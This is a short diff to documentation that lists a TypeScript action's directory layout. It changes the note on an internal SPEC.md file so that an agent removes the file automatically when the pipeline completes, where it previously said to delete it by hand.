+15,7 @@ A TypeScript action directory contains: ├── tsconfig.json ├── .gitignore ├── README.md -├── SPEC.md (internal, delete manually after pipeline completes) +├── SPEC.md (internal, removed automatically by the agent at pipeline completion) ├── src/ │ └── main.ts └── dist/ (generated by build, committed)